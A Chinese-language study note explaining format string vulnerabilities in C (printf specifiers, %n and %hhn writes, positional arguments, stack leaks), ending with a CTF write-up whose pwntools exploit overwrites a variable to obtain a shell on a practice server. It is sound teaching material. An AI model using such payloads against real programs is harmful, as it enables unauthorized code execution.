格式化字符串漏洞

菜鸟记录格式化字符串的学习总结,方便复习。

格式化字符串漏洞

学习格式化字符串之前,先得了解什么是格式化字符串。

格式化字符串

printf ("The number is 10。")
printf("格式化字符串1,格式化字符串2",参数1,参数2...)

格式化允许我们部分控制显示文本的样式,我们可以通过代替特殊的格式字符来显示值或者数据,比如,要显示整形的变量"data",就可以使用下面的格式化字符:

printf("The number is %d",data)

打印的时候,%d就被data的值所替代。当data=20时,调用后会打印出 The number is 20这句话。如果想用十六进制显示相同值可以写成:

printf("The hex number is %x",data)

这里的%d就表示以十进制打印的data的值,%x表示十六进制打印data的值。下面是一些常见的格式化字符串语法:

%d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数

当然,功能也不仅限于控制显示的数据类型,还能控制显示的宽度和队列。
%<正整数n>c 打印宽度为n的字符串(打印长度为n)
举例:

printf("%5c",65)  A的ascll码为65

调用后打印出A,宽度为5,因此A前面会填充4个空格,打印效果如下:
格式化字符串漏洞

printf("%-10c%c",65,66);

打印字符串长度10,用空格填充,"-"使结果左对齐,在右边填空格,打印效果如下:
格式化字符串漏洞
特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节

举例:

printf("%10c%n",65,0x41414141);

打印9个空格加上一个A,所以会往地址0x41414141处写入10(4字节)

printf("%1234c%hhn",65,0x41414141);

因为1234=0x4D2,所以会往地址0x41414141处写入0xD2(1字节)

漏洞成因和基本原理

触发该漏洞的函数很有限,主要就是printf还有sprintf,fprintf等c库中print家族的函数。
函数用法:
正确的printf用法:

#include <stdio.h>
int main()
{
  char str[100];
  scanf("%s",str);
  printf("%s",str);
  return 0;
}

写程序时要规定字符串的格式化说明符,规定参数的输出类型

错误的printf写法:

#include <stdio.h>
int main()
{
  char str[]="qwer";
  printf(str);
  return 0;
}

运行后结果没有什么问题。
格式化字符串漏洞
但是如果将字符串的输入权交给用户就会有问题了。看下面的代码:

#include <stdio.h>

int main(void)
{
    char str[100];
    scanf("%s",str);
    printf(str);
    return 0;
}

假设我们的输入为:

AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

函数用法正确的程序的输出为:
格式化字符串漏洞
错误用法的输出则为:
格式化字符串漏洞

输出的结果是 内存中的数据地址。

参数不足的情况

关于这个情况,我们先来了解下,如果printf的参数不足,会发生什么?
会假设这些参数的存在,在对应的栈/寄存器上找到这些参数,并做相应处理。
举例:

printf("%p:%p:%p:%p\n");

打印结果如下:
格式化字符串漏洞

32位程序,函数调用时参数在栈:格式化字符可控可以泄露栈上的数据
64位程序,函数调用使用寄存器+栈:格式化字符可控可以泄露特定寄存器和栈上的值(前6个参数放在寄存器上,会先依次打印出寄存器上的值。)

具体原理:当printf在输出格式化字符串的时候,会维护一个内部指针,当printf逐步将格式化字符串的字符打印到屏幕,当遇到%的时候,printf会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在,printf无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问。甚至由于%n的问题,可导致任意地址读写。

所以尽管没有参数或者参数不足,上面的代码也会将 格式化字符串 后面的内存当做参数以16进制输出。这样就会造成内存泄露。

关于$符号(补充)

读取:

%<正整数n>$ <数据类型>,指定占位符对应的第n个参数,例如 %8$x 就是以 x 格式读第 8 个参数的值。

举例:

printf("0x%2$x : 0x%1$x",0xabc,0xdef);
当中的%2$x 对应第二个参数,%1$x对应第一个参数
打印结果:0xdef : 0xabc

写入:

%<数值>c%<正整数n>$ <类型>,%44c%5$hn 就是向第 5 个参数写入 44 这个数值。

漏洞的利用

在试图利用格式化字符串漏洞之前,你需要知道格式化字符串会在调用printf之前先压入堆栈中。所以当发现一个格式化字符串漏洞时,首先你需要找到格式化字符串距离当前位置的偏移。

只要我们在printf中填入足够的参数,例如,先输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x········来确定输入首地址的偏移(找到41414141就是AAAA)

读取内存

我们可以通过输入 “%偏移$格式输出” 直接输出偏移为x处的内容。
用法:

%9$s
输出偏移为9处的内容

修改内存

在格式化字符串中 有一个 特殊的格式化控制符 “%n”,它可以将已经输出的字节个数写入到 指定的 的地址中,配合$直接修改第几个参数来修改想要修改地址的值。
用法:

%修改数据c%偏移$n修改地址

案例分析

以buuctf上的 [第五空间2019 决赛]PWN5 为例。
题目链接:
https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019%20%E5%86%B3%E8%B5%9B]PWN5

checksec 查看文件
格式化字符串漏洞

用IDA查看
格式化字符串漏洞
发现明显的格式化漏洞,因为这个dword_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可得到shell。

计算偏移

格式化字符串漏洞
可以看到偏移为10,之后只要修改dword_804c044的值,让输入和dword_804c044的值一样就可以了

IDA查看 dword_804c044的地址为0x804c044
格式化字符串漏洞

exp如下:

from pwn import*

r=remote('node4.buuoj.cn',26588)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+'%10$hhn%11$hhn%12$hhn%13$hhn'  #

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047) 总共16个字节,所以16会被写到bss位置。

格式化字符串漏洞

总结

格式化字符串,也是一种比较常见的漏洞类型, 具有任意地址读,任意地址写的特点。漏洞主要是没有规定参数的输出类型引起的。

上一篇:【C语言】二维数组


下一篇:PAT(Basic Level) Practice : 1090 危险品装箱 (25分)